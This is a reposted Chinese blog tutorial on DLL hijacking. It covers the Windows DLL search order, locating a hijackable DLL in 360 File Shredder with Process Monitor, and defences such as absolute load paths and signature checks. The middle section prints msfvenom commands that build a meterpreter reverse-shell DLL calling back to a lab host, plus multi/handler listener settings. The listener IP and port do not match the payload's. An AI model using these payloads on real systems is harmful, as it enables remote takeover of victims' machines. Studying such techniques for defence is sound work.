记DLL劫持的学习

渗透技巧 12个月前 admin
421 0 0

自从所有微信公众号统一改版为“信息流模式”后,一些订阅很多公众号的师傅反映,微信公众号的文章越来越难找了,一不小心就错过了,没能及时查看

记DLL劫持的学习

防失联加星标

记DLL劫持的学习

每天看好文


一、DLL简介

动态链接库(英文全称:Dynamic-link library,缩写为DLL)是微软公司在微软视窗操作系统中实现共享函数库概念的一种实现方式。这些库函数的扩展名是.DLL、.OCX(包含ActiveX控制的库)或者.DRV(旧式的系统驱动程序)。

所谓动态链接,就是把一些经常会共用的代码(静态链接的OBJ程序库)制作成DLL档,当可执行文件调用到DLL档内的函数时,Windows操作系统才会把DLL档加载存储器内,DLL档本身的结构就是可执行档,当程序有需求时函数才进行链接。通过动态链接方式,存储器浪费的情形将可大幅降低。静态链接库则是直接链接到可执行文件。

DLL的文件格式与视窗EXE文件一样——即等同于32位视窗的可移植执行文件(PE)和16位视窗的New Executable(NE)。作为EXE格式,DLL可以包括源代码、数据和资源的多种组合。

二、DLL载入优先规则

根据微软官方文档介绍,程序在执行时,Windows系统会优先在当前目录下寻找所需要.dll链接库,如果寻找不到则再去系统目录下寻找。

微软官方文档:

https://learn.microsoft.com/zh-cn/windows/win32/dlls/dynamic-link-library-search-order#search-order-for-desktop-applications

如果已启用 SafeDllSearchMode ,则搜索顺序如下所示:

1)应用程序从中加载的目录。

2)系统目录。使用 GetSystemDirectory 函数获取此目录的路径。

3)16位系统目录。没有可获取此目录的路径的函数,但搜索该函数。

4)Windows 目录。使用 GetWindowsDirectory 函数获取此目录的路径。

5)当前目录。

6)PATH 环境变量中列出的目录(注意这不包括“应用路径”,注册表项指定的按应用程序路径路径。计算 DLL 搜索路径时,不会使用“应用路径”密钥)。

如果禁用 SafeDllSearchMode ,则搜索顺序如下所示:

1)应用程序从中加载的目录。

2)当前目录。

3)系统目录。使用 GetSystemDirectory 函数获取此目录的路径。

4)16 位系统目录。没有可获取此目录的路径的函数,但搜索该函数。

5)Windows 目录。使用 GetWindowsDirectory 函数获取此目录的路径。

6)PATH 环境变量中列出的目录(同样请注意这不包括“应用路径”,注册表项指定的按应用程序路径路径。计算 DLL 搜索路径时,不会使用“应用路径”密钥)。

三、DLL劫持测试

运行软件:

记DLL劫持的学习

使用Process Exploprer软件监听进程,查看该进程调用的DLL文件:

记DLL劫持的学习

然后换个工具Process monitor

记DLL劫持的学习

过滤掉除了360文件粉碎机

记DLL劫持的学习

提取出DLL

记DLL劫持的学习

记DLL劫持的学习

利用工具检测是否存在DLL劫持

记DLL劫持的学习

扫描结果为

记DLL劫持的学习

我们尝试利用msfvenom生成恶意dll劫持上线

x86:msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.2.184 lport=9999 -f  dll>存在劫持dll名.dll
x64:msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.2.184 lport=9999 -f dll>存在劫持dll名.dll

在msfconsole设置监听

MSF
use exploit/multi/handler
payload
set payload windows/meterpreter/reverse_tcp
set payload windows/x64/meterpreter/reverse_tcp
set lhost  192.168.2.134
set lport 8899
exploit

记DLL劫持的学习

四、防范DLL劫持

对于DLL劫持漏洞产生的原因,并不能单一归咎于微软,只能说是微软的一个“设计缺陷”,要从根本上防御DLL劫持漏洞,除了微软提供的“安全DLL搜索模式”和“KnownDLLs注册表项”机制保护DLL外,开发人员必须要做更多来保护应用程序自身。



例如:

1)开发过程中,调用LoadLibrary,LoadLibraryEx等会进行模块加载操作的函数时,使用模块的物理路径作为参数。

2)在程序调用DLL时使用“白名单”+ “签名”进行DLL的验证。目前很多厂商对于DLL劫持漏洞都是持“忽略”的态度,因为即使使用了上述防御措施,DLL劫持漏洞依旧可能会存在。


原文始发于微信公众号(Th0r安全):记DLL劫持的学习

版权声明:admin 发表于 2023年4月13日 下午1:30。
转载请注明:记DLL劫持的学习 | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...